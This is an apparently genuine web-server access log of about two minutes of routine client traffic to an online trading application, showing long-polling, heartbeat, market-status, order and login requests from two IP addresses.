[09/Jan/2026:12:57:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934891835 HTTP/1.1" -
[09/Jan/2026:12:57:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:57:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:57:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934896954 HTTP/1.1" -
[09/Jan/2026:12:57:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934897029 HTTP/1.1" -
[09/Jan/2026:12:57:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934902147 HTTP/1.1" -
[09/Jan/2026:12:57:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934902148 HTTP/1.1" -
[09/Jan/2026:12:57:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934907339 HTTP/1.1" -
[09/Jan/2026:12:57:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934907289 HTTP/1.1" -
[09/Jan/2026:12:57:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:57:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:57:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934912469 HTTP/1.1" -
[09/Jan/2026:12:57:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934912548 HTTP/1.1" -
[09/Jan/2026:12:57:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934917716 HTTP/1.1" -
[09/Jan/2026:12:57:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934917596 HTTP/1.1" -
[09/Jan/2026:12:57:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:57:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:57:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934922833 HTTP/1.1" -
[09/Jan/2026:12:57:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934922910 HTTP/1.1" -
[09/Jan/2026:12:57:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934927888 HTTP/1.1" -
[09/Jan/2026:12:57:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934928139 HTTP/1.1" -
[09/Jan/2026:12:57:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934933040 HTTP/1.1" -
[09/Jan/2026:12:57:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934933344 HTTP/1.1" -
[09/Jan/2026:12:57:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934938234 HTTP/1.1" -
[09/Jan/2026:12:57:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934938634 HTTP/1.1" -
[09/Jan/2026:12:57:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:57:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:57:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:57:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934943369 HTTP/1.1" -
[09/Jan/2026:12:57:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934943850 HTTP/1.1" -
[09/Jan/2026:12:57:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934948554 HTTP/1.1" -
[09/Jan/2026:12:58:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934949098 HTTP/1.1" -
[09/Jan/2026:12:58:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:58:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:58:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934953694 HTTP/1.1" -
[09/Jan/2026:12:58:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934954232 HTTP/1.1" -
[09/Jan/2026:12:58:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934958782 HTTP/1.1" -
[09/Jan/2026:12:58:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934959501 HTTP/1.1" -
[09/Jan/2026:12:58:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934963928 HTTP/1.1" -
[09/Jan/2026:12:58:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934964707 HTTP/1.1" -
[09/Jan/2026:12:58:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934969137 HTTP/1.1" -
[09/Jan/2026:12:58:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934969914 HTTP/1.1" -
[09/Jan/2026:12:58:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:58:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:58:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934974346 HTTP/1.1" -
[09/Jan/2026:12:58:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934975109 HTTP/1.1" -
[09/Jan/2026:12:58:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934979566 HTTP/1.1" -
[09/Jan/2026:12:58:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934980367 HTTP/1.1" -
[09/Jan/2026:12:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:58:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934984733 HTTP/1.1" -
[09/Jan/2026:12:58:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934985573 HTTP/1.1" -
[09/Jan/2026:12:58:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934989792 HTTP/1.1" -
[09/Jan/2026:12:58:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934990761 HTTP/1.1" -
[09/Jan/2026:12:58:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934994964 HTTP/1.1" -
[09/Jan/2026:12:58:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934995979 HTTP/1.1" -
[09/Jan/2026:12:58:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935000092 HTTP/1.1" -
[09/Jan/2026:12:58:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:58:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:58:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935001326 HTTP/1.1" -
[09/Jan/2026:12:58:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:58:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935005230 HTTP/1.1" -
[09/Jan/2026:12:58:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935006374 HTTP/1.1" -
[09/Jan/2026:12:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:12:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935010387 HTTP/1.1" -
[09/Jan/2026:12:59:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935011628 HTTP/1.1" -
[09/Jan/2026:12:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:12:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:59:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935015421 HTTP/1.1" -
[09/Jan/2026:12:59:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935016825 HTTP/1.1" -
[09/Jan/2026:12:59:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:12:59:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:12:59:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:59:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1222
[09/Jan/2026:12:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935020497 HTTP/1.1" -
[09/Jan/2026:12:59:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935022115 HTTP/1.1" -
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
